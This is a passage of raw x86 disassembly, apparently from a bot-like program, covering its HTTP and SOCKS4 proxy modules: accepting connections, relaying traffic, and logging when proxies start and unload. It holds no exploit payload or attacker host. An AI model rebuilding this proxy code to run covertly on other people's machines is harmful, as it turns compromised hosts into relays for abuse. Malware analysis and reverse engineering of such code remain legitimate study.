		lea	ecx, [esp+18h]
		push	offset aHttp1_0503Serv ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
		push	ecx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+14h]
		push	0
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_4017EE
		mov	edx, [ebp+0BBh]
		push	eax
		push	edx
		nop
		call	near ptr 71AB428Ah
		mov	eax, [ebp+0BBh]
		mov	esi, dword_511C9C
		push	eax
		call	esi	; closesocket
		mov	ecx, [ebp+0BFh]
		push	ecx
		jmp	loc_42A6F8
; ---------------------------------------------------------------------------


loc_42A5F8:				; CODE XREF: ___:00429B70j
		mov	edx, [esp+10Ch]
		lea	ecx, [esp+0CDh]
		push	edx
		call	sub_4017EE
		push	eax
		lea	eax, [esp+1Ch]
		push	offset aHttp1_0503Se_0 ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+14h]
		push	0
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_4017EE
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		call	near ptr 71AB428Ah
		nop


loc_42A642:				; CODE XREF: ___:00429C21j
					; ___:00429C29j
		mov	edx, [ebp+0BBh]
		mov	esi, dword_511C9C
		push	edx
		call	esi	; closesocket
		mov	eax, [ebp+0BFh]
		push	eax
		jmp	loc_42A6F8
; ---------------------------------------------------------------------------


loc_42A65D:				; CODE XREF: ___:00429AFEj
		mov	ecx, [ebp+0BBh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		jmp	loc_42A6FA
; ---------------------------------------------------------------------------


loc_42A66F:				; CODE XREF: ___:00429C4Fj
		lea	ecx, [esp+88h]
		mov	byte ptr [esp+54A0h], 0Dh
		call	sub_401226
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+54A0h], 0Ch
		call	sub_401226
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		lea	ecx, [esp+30h]
		mov	byte ptr [esp+54A0h], 1
		call	sub_401226
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+54A0h], 0
		call	sub_401226
		lea	ecx, [esp+0B8h]
		mov	[esp+54A0h], ebx
		call	sub_4014BA
		or	esi, 0FFFFFFFFh
		jmp	loc_42A4DC
; ---------------------------------------------------------------------------


loc_42A6E2:				; CODE XREF: ___:0042A255j
					; ___:0042A25Dj
		mov	ecx, [ebp+0BBh]
		mov	esi, dword_511C9C
		push	ecx
		call	esi	; closesocket
		mov	edx, [ebp+0BFh]
		push	edx


loc_42A6F8:				; CODE XREF: ___:0042A5F3j
					; ___:0042A658j
		call	esi	; closesocket


loc_42A6FA:				; CODE XREF: ___:0042A596j
					; ___:0042A66Aj
		lea	ecx, [esp+88h]
		mov	byte ptr [esp+54A0h], 0Dh
		call	sub_401226
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+54A0h], 0Ch
		call	sub_401226
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		lea	ecx, [esp+30h]
		mov	byte ptr [esp+54A0h], 1
		call	sub_401226
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+54A0h], 0
		call	sub_401226
		lea	ecx, [esp+0B8h]
		mov	[esp+54A0h], ebx
		call	sub_4014BA
		jmp	loc_42A514
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 4A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AC10	proc near		; CODE XREF: sub_4018EDj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42AC10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401FA0
		push	offset aHttp_0	; "HTTP"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F15C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42AC10	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AC80	proc near		; CODE XREF: sub_4010E1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42AC80
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	edi
		mov	edi, ecx
		mov	dword ptr [edi+9Eh], 0FFFFFFFFh


loc_42ACA3:				; CODE XREF: sub_42AC80+48j
		mov	eax, [edi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	short loc_42ACCA
		mov	ecx, [edi+3Bh]
		push	ecx
		call	sub_40198D
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		mov	[edi+9Eh], eax
		jz	short loc_42ACA3


loc_42ACCA:				; CODE XREF: sub_42AC80+31j
		mov	edx, [edi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_42AD9C
		push	ebp
		push	esi


loc_42ACE0:				; CODE XREF: sub_42AC80+114j
		mov	eax, [edi+9Eh]
		push	eax
		call	sub_4012DF
		mov	ebp, eax
		add	esp, 4
		cmp	ebp, 0FFFFFFFFh
		jz	loc_42AD7B
		test	ebp, ebp
		jz	short loc_42AD7B
		push	0C3h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+1Ch+var_10], eax
		test	eax, eax
		mov	[esp+1Ch+var_4], 0
		jz	short loc_42AD26
		mov	ecx, eax
		call	sub_401893
		mov	esi, eax
		jmp	short loc_42AD28
; ---------------------------------------------------------------------------


loc_42AD26:				; CODE XREF: sub_42AC80+99j
		xor	esi, esi


loc_42AD28:				; CODE XREF: sub_42AC80+A4j
		mov	ecx, [edi+99h]
		mov	[esi+9Dh], edi
		mov	[esi+99h], ecx
		mov	edx, [edi+3Bh]
		lea	eax, [edi+26h]
		lea	ecx, [esi+26h]
		push	eax
		mov	[esp+20h+var_4], 0FFFFFFFFh
		mov	[esi+3Bh], edx
		mov	[esi+0BBh], ebp
		call	sub_401FDC
		mov	cl, [edi+97h]
		mov	[esi+97h], cl
		mov	dl, [edi+98h]
		mov	ecx, esi
		mov	[esi+98h], dl
		call	sub_4013DE
		jmp	short loc_42AD86
; ---------------------------------------------------------------------------


loc_42AD7B:				; CODE XREF: sub_42AC80+74j
					; sub_42AC80+7Cj
		push	0FAh
		nop
		call	near ptr 2820269h


loc_42AD86:				; CODE XREF: sub_42AC80+F9j
		mov	eax, [edi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jnz	loc_42ACE0
		pop	esi
		pop	ebp


loc_42AD9C:				; CODE XREF: sub_42AC80+58j
		mov	edi, [edi+9Eh]
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42ADAE
		push	edi
		nop
		call	near ptr 71AB9639h


loc_42ADAE:				; CODE XREF: sub_42AC80+125j
		mov	ecx, [esp+14h+var_C]
		pop	edi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42AC80	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AE10	proc near		; CODE XREF: sub_40137Aj
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	al, [esi+9Dh]
		lea	edi, [esi+11h]
		test	al, al
		mov	eax, [esi+3Bh]
		lea	ebx, [esi+26h]
		push	eax
		mov	ecx, edi
		jz	short loc_42AE38
		call	sub_4017EE
		push	eax
		push	offset aSStartingProxy ; "[%s] Starting	proxy on %d with SSL."
		jmp	short loc_42AE43
; ---------------------------------------------------------------------------


loc_42AE38:				; CODE XREF: sub_42AE10+19j
		call	sub_4017EE
		push	eax
		push	offset aSStartingPro_0 ; "[%s] Starting	proxy on port %d."


loc_42AE43:				; CODE XREF: sub_42AE10+26j
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch
		mov	ecx, esi
		call	sub_4010E1
		mov	eax, [esi+3Bh]
		mov	ecx, edi
		push	eax
		call	sub_4017EE
		push	eax
		push	offset aSUnloadedProxy ; "[%s] Unloaded	proxy on port %d."
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42AE10	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AEE0	proc near		; CODE XREF: ___:00401E2Ej sub_4021D5j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401BE5
		test	[esp+4+arg_0], 1
		jz	short loc_42AEF8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42AEF8:				; CODE XREF: sub_42AEE0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42AEE0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AF10	proc near		; CODE XREF: sub_401BE5j
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, dword_511C9C
		mov	eax, [esi+0BFh]
		mov	dword ptr [esi], offset	off_43F14C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42AF2E
		push	eax
		call	edi	; closesocket


loc_42AF2E:				; CODE XREF: sub_42AF10+19j
		mov	eax, [esi+0BBh]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42AF3C
		push	eax
		call	edi	; closesocket


loc_42AF3C:				; CODE XREF: sub_42AF10+27j
		lea	ecx, [esi+0A1h]
		call	sub_401226
		mov	ecx, esi
		call	sub_4017A8
		pop	edi
		pop	esi
		retn
sub_42AF10	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42AF80:				; CODE XREF: ___:loc_40112Cj
					; ___:0040128Fj
		push	esi
		mov	esi, ecx
		call	sub_402126
		test	byte ptr [esp+8], 1
		jz	short loc_42AF98
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42AF98:				; CODE XREF: ___:0042AF8Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AFB0	proc near		; CODE XREF: sub_402126j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+9Eh]
		mov	dword ptr [esi], offset	off_43F15C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42AFCB
		push	eax
		call	near ptr 71AB9639h
		nop


loc_42AFCB:				; CODE XREF: sub_42AFB0+12j
		mov	ecx, esi
		call	sub_4017A8
		pop	esi
		retn
sub_42AFB0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AFF0	proc near		; CODE XREF: sub_40213Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42AFF0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401FA0
		push	offset aSocks4	; "Socks4"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F16C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42AFF0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42B060:				; CODE XREF: ___:0040187Fj
					; ___:loc_401B18j
		push	esi
		mov	esi, ecx
		call	sub_401FA5
		test	byte ptr [esp+8], 1
		jz	short loc_42B078
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42B078:				; CODE XREF: ___:0042B06Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42B090	proc near		; CODE XREF: sub_401FA5j
		jmp	sub_4017A8
sub_42B090	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B0B0	proc near		; CODE XREF: sub_4010AFj

var_81D		= byte ptr -81Dh
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= dword	ptr -810h
var_80C		= dword	ptr -80Ch
var_808		= byte ptr -808h
var_807		= byte ptr -807h
var_806		= word ptr -806h
var_804		= dword	ptr -804h
var_800		= byte ptr -800h
var_400		= byte ptr -400h

		sub	esp, 820h
		lea	eax, [esp+820h+var_81D]
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_511CA4
		mov	ebp, ecx
		push	edi
		push	0
		push	1
		mov	ecx, [ebp+0A1h]
		push	eax
		push	ecx
		call	esi	; recv
		cmp	eax, 1
		jge	short loc_42B0F1
		mov	edx, [ebp+0A1h]
		push	edx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_42B0F1:				; CODE XREF: sub_42B0B0+27j
		cmp	[esp+830h+var_81D], 4
		jnz	loc_42B2DC
		mov	ecx, [ebp+0A1h]
		push	0
		lea	eax, [esp+834h+var_807]
		push	406h
		push	eax
		push	ecx
		call	esi	; recv
		cmp	eax, 1
		jge	short loc_42B12E
		mov	edx, [ebp+0A1h]
		push	edx
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_42B12E:				; CODE XREF: sub_42B0B0+64j
		cmp	[esp+830h+var_807], 1
		jnz	loc_42B2DC
		mov	cx, [esp+830h+var_806]
		mov	edx, [esp+830h+var_804]
		xor	eax, eax
		push	6
		mov	[esp+834h+var_818], eax
		push	1
		mov	[esp+838h+var_814], eax
		push	2
		mov	[esp+83Ch+var_810], eax
		mov	word ptr [esp+83Ch+var_818], 2
		mov	[esp+83Ch+var_80C], eax
		mov	word ptr [esp+83Ch+var_818+2], cx
		mov	[esp+83Ch+var_814], edx
		call	near ptr 71AB3B91h
		nop
		mov	ebx, eax
		lea	eax, [esp+830h+var_818]
		push	10h
		push	eax
		push	ebx
		call	near ptr 71AB406Ah
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esp+830h+var_808], 0
		jnz	short loc_42B1C9
		mov	edx, [ebp+0A1h]
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+830h+var_800]
		mov	[esp+830h+var_807], 5Bh
		push	eax
		rep stosd
		lea	ecx, [esp+834h+var_808]
		push	8
		push	ecx
		push	edx
		call	near ptr 71AB428Ah
		nop
		mov	eax, [ebp+0A1h]
		push	eax
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_42B1C9:				; CODE XREF: sub_42B0B0+D8j
		mov	edx, [ebp+0A1h]
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+830h+var_800]
		mov	[esp+830h+var_807], 5Ah
		push	eax
		rep stosd
		lea	ecx, [esp+834h+var_808]
		push	8
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [ebp+0A1h]
		mov	esi, dword_511CAC
		lea	eax, [esp+830h+var_81C]
		mov	[esp+830h+var_81C], 1
		push	eax
		push	8004667Eh
		push	ecx
		call	esi	; ioctlsocket
		lea	edx, [esp+830h+var_81C]
		mov	[esp+830h+var_81C], 1
		push	edx
		push	8004667Eh
		push	ebx
		call	esi	; ioctlsocket


loc_42B226:				; CODE XREF: sub_42B0B0+1AFj
					; sub_42B0B0+1FEj ...
		mov	edi, dword_511CA4
		push	0
		lea	eax, [esp+834h+var_400]
		push	400h
		push	eax
		push	ebx
		call	edi	; recv
		mov	esi, eax
		test	esi, esi
		jz	loc_42B2CA
		jge	short loc_42B261
		call	near ptr 71AB94DCh
		nop
		cmp	eax, 2733h
		jz	short loc_42B261
		push	0Ah
		nop
		call	near ptr 2820269h
		jmp	short loc_42B226
; ---------------------------------------------------------------------------


loc_42B261:				; CODE XREF: sub_42B0B0+198j
					; sub_42B0B0+1A5j
		mov	edx, [ebp+0A1h]
		push	0
		lea	ecx, [esp+834h+var_400]
		push	esi
		push	ecx
		push	edx
		call	near ptr 71AB428Ah
		nop
		mov	ecx, [ebp+0A1h]
		push	0
		lea	eax, [esp+834h+var_400]
		push	400h
		push	eax
		push	ecx
		call	edi	; recv
		mov	esi, eax
		test	esi, esi
		jz	short loc_42B2CA
		jge	short loc_42B2B3
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jz	short loc_42B2B3
		push	0Ah
		nop
		call	near ptr 2820269h
		jmp	loc_42B226
; ---------------------------------------------------------------------------


loc_42B2B3:				; CODE XREF: sub_42B0B0+1E7j
					; sub_42B0B0+1F4j
		push	0
		lea	edx, [esp+834h+var_400]
		push	esi
		push	edx
		push	ebx
		call	near ptr 71AB428Ah
		nop
		jmp	loc_42B226
; ---------------------------------------------------------------------------


loc_42B2CA:				; CODE XREF: sub_42B0B0+192j
					; sub_42B0B0+1E5j
		mov	eax, [ebp+0A1h]
		mov	esi, dword_511C9C
		push	eax
		call	esi	; closesocket
		push	ebx
		call	esi	; closesocket


loc_42B2DC:				; CODE XREF: sub_42B0B0+46j
					; sub_42B0B0+83j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
sub_42B0B0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B380	proc near		; CODE XREF: sub_40218Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42B380
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401FA0
		push	offset aSocks4	; "Socks4"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F17C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42B380	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B3F0	proc near		; CODE XREF: ___:00401032j sub_4017B2j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401C4E
		test	[esp+4+arg_0], 1
		jz	short loc_42B408
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42B408:				; CODE XREF: sub_42B3F0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42B3F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42B420	proc near		; CODE XREF: sub_401C4Ej
		jmp	sub_4017A8
sub_42B420	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B440	proc near		; CODE XREF: sub_40189Dj

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_42B440
		push	eax
		mov	large fs:0, esp
		sub	esp, 28h
		push	ebx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+3Bh]
		lea	ecx, [esi+11h]
		push	eax
		lea	ebx, [esi+26h]
		call	sub_4017EE
		push	eax
		push	offset aSStartingSocks ; "[%s] Starting	Socks4 Proxy on	port %d."
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+9Dh], eax
		jz	loc_42B649
		mov	cx, [esi+3Bh]
		xor	eax, eax
		mov	[esp+3Ch+var_2C], eax
		push	ecx
		mov	[esp+40h+var_28], eax
		mov	word ptr [esp+40h+var_2C], 2
		mov	[esp+40h+var_24], eax
		mov	[esp+40h+var_20], eax
		nop
		call	near ptr 71AB2B66h
		mov	word ptr [esp+3Ch+var_2C+2], ax
		mov	eax, [esi+9Dh]
		lea	edx, [esp+3Ch+var_2C]
		push	10h
		push	edx
		push	eax
		mov	[esp+48h+var_34], 10h
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_42B516
		mov	ecx, [esi+9Dh]
		push	ecx
		call	near ptr 71AB9639h
		nop
		pop	esi
		pop	ebx
		mov	ecx, [esp+34h+var_C]
		mov	large fs:0, ecx
		add	esp, 34h
		retn
; ---------------------------------------------------------------------------


loc_42B516:				; CODE XREF: sub_42B440+B6j
		mov	edx, [esi+99h]
		push	ebp
		push	edi
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_42B600


loc_42B52C:				; CODE XREF: sub_42B440+1BAj
		mov	eax, [esi+9Dh]
		push	0Ah
		push	eax
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42B550
		push	0FAh
		nop
		call	near ptr 2820269h
		jmp	loc_42B5EC
; ---------------------------------------------------------------------------


loc_42B550:				; CODE XREF: sub_42B440+FEj
		mov	eax, [esi+9Dh]
		lea	ecx, [esp+40h+var_30]
		lea	edx, [esp+40h+var_18]
		push	ecx
		push	edx
		push	eax
		call	near ptr 71AC1028h
		nop
		mov	ebp, eax
		cmp	ebp, 0FFFFFFFFh
		jz	loc_42B600
		xor	edi, edi
		cmp	ebp, edi
		jz	loc_42B600
		push	0A5h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+44h+var_30], eax
		cmp	eax, edi
		mov	[esp+44h+var_4], edi
		jz	short loc_42B59E
		mov	ecx, eax
		call	sub_40213A
		mov	edi, eax


loc_42B59E:				; CODE XREF: sub_42B440+153j
		mov	ecx, [esi+99h]
		mov	[edi+9Dh], esi
		mov	[edi+99h], ecx
		mov	edx, [esi+3Bh]
		push	ebx
		lea	ecx, [edi+26h]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		mov	[edi+3Bh], edx
		mov	[edi+0A1h], ebp
		call	sub_401FDC
		mov	al, [esi+97h]
		mov	[edi+97h], al
		mov	cl, [esi+98h]
		mov	[edi+98h], cl
		mov	ecx, edi
		call	sub_4013DE


loc_42B5EC:				; CODE XREF: sub_42B440+10Bj
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jnz	loc_42B52C


loc_42B600:				; CODE XREF: sub_42B440+E6j
					; sub_42B440+12Cj ...
		mov	eax, [esi+9Dh]
		pop	edi
		cmp	eax, 0FFFFFFFFh
		pop	ebp
		jz	short loc_42B614
		push	eax
		call	near ptr 71AB9639h
		nop


loc_42B614:				; CODE XREF: sub_42B440+1CBj
		mov	eax, [esi+3Bh]
		lea	ecx, [esi+11h]
		push	eax
		call	sub_4017EE
		push	eax
		push	offset aSUnloadedPro_0 ; "[%s] Unloaded	proxy on %d."
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch


loc_42B649:				; CODE XREF: sub_42B440+69j
		mov	ecx, [esp+3Ch+var_C]
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 34h
		retn
sub_42B440	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B6F0	proc near		; CODE XREF: sub_401758j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		nop
		call	near ptr 71AB4FD4h
		test	eax, eax
		jz	short loc_42B711
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	ecx, [esp+arg_4]
		mov	eax, [edx]
		mov	[ecx], eax
		mov	al, 1
		retn	8
; ---------------------------------------------------------------------------


loc_42B711:				; CODE XREF: sub_42B6F0+Dj
		xor	al, al
		retn	8
sub_42B6F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B730	proc near		; CODE XREF: sub_4020E0j

var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_400		= byte ptr -400h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 50Ch
		push	ebx
		mov	ebx, [esp+510h+arg_4]
		push	ebp
		push	esi
		push	edi
		mov	[esp+51Ch+var_50C], 0
		mov	[esp+51Ch+var_508], 0


loc_42B751:				; CODE XREF: sub_42B730+12Cj
		mov	ebp, [esp+51Ch+arg_0]
		mov	[esp+51Ch+var_504], 1
		mov	[esp+51Ch+var_500], ebp
		xor	eax, eax
		lea	ecx, [esp+51Ch+var_500]


loc_42B76A:				; CODE XREF: sub_42B730+45j
		cmp	[ecx], ebx
		jz	short loc_42B777
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_42B76A


loc_42B777:				; CODE XREF: sub_42B730+3Cj
		cmp	eax, 1
		jnz	short loc_42B788
		mov	[esp+51Ch+var_4FC], ebx
		mov	[esp+51Ch+var_504], 2


loc_42B788:				; CODE XREF: sub_42B730+4Aj
		lea	eax, [esp+51Ch+var_50C]
		lea	ecx, [esp+51Ch+var_504]
		push	eax
		push	0
		push	0
		push	ecx
		push	2
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jbe	short loc_42B813
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B813
		lea	edx, [esp+51Ch+var_504]
		push	edx
		push	ebp
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_42B7BC
		mov	eax, ebp
		mov	ebp, ebx
		jmp	short loc_42B7BE
; ---------------------------------------------------------------------------


loc_42B7BC:				; CODE XREF: sub_42B730+84j
		mov	eax, ebx


loc_42B7BE:				; CODE XREF: sub_42B730+8Aj
		push	0
		lea	ecx, [esp+520h+var_400]
		push	3FFh
		push	ecx
		push	eax
		call	near ptr 71AB615Ah
		nop
		mov	edi, eax
		xor	esi, esi
		cmp	edi, 0FFFFFFFFh
		mov	[esp+edi+51Ch+var_400],	0
		jz	short loc_42B862
		test	edi, edi
		jz	short loc_42B862
		jbe	short loc_42B80C


loc_42B7EB:				; CODE XREF: sub_42B730+DAj
		mov	edx, edi
		push	0
		sub	edx, esi
		lea	eax, [esp+esi+520h+var_400]
		push	edx
		push	eax
		push	ebp
		nop
		call	near ptr 71AB428Ah
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B862
		add	esi, eax
		cmp	esi, edi
		jb	short loc_42B7EB


loc_42B80C:				; CODE XREF: sub_42B730+B9j
		mov	ebp, [esp+51Ch+arg_0]


loc_42B813:				; CODE XREF: sub_42B730+70j
					; sub_42B730+75j
		mov	[esp+51Ch+var_500], ebp
		mov	[esp+51Ch+var_504], 1
		xor	eax, eax
		lea	ecx, [esp+51Ch+var_500]


loc_42B825:				; CODE XREF: sub_42B730+100j
		cmp	[ecx], ebx
		jz	short loc_42B832
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_42B825


loc_42B832:				; CODE XREF: sub_42B730+F7j
		cmp	eax, 1
		jnz	short loc_42B844
		mov	[esp+eax*4+51Ch+var_500], ebx
		mov	eax, [esp+51Ch+var_504]
		inc	eax
		mov	[esp+51Ch+var_504], eax


loc_42B844:				; CODE XREF: sub_42B730+105j
		lea	ecx, [esp+51Ch+var_50C]
		lea	edx, [esp+51Ch+var_504]
		push	ecx
		push	edx
		push	0
		push	0
		push	2
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jle	loc_42B751


loc_42B862:				; CODE XREF: sub_42B730+B3j
					; sub_42B730+B7j ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 50Ch
		retn	8
sub_42B730	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B8E0	proc near		; CODE XREF: sub_401C30j

var_51C		= word ptr -51Ch
var_51A		= word ptr -51Ah
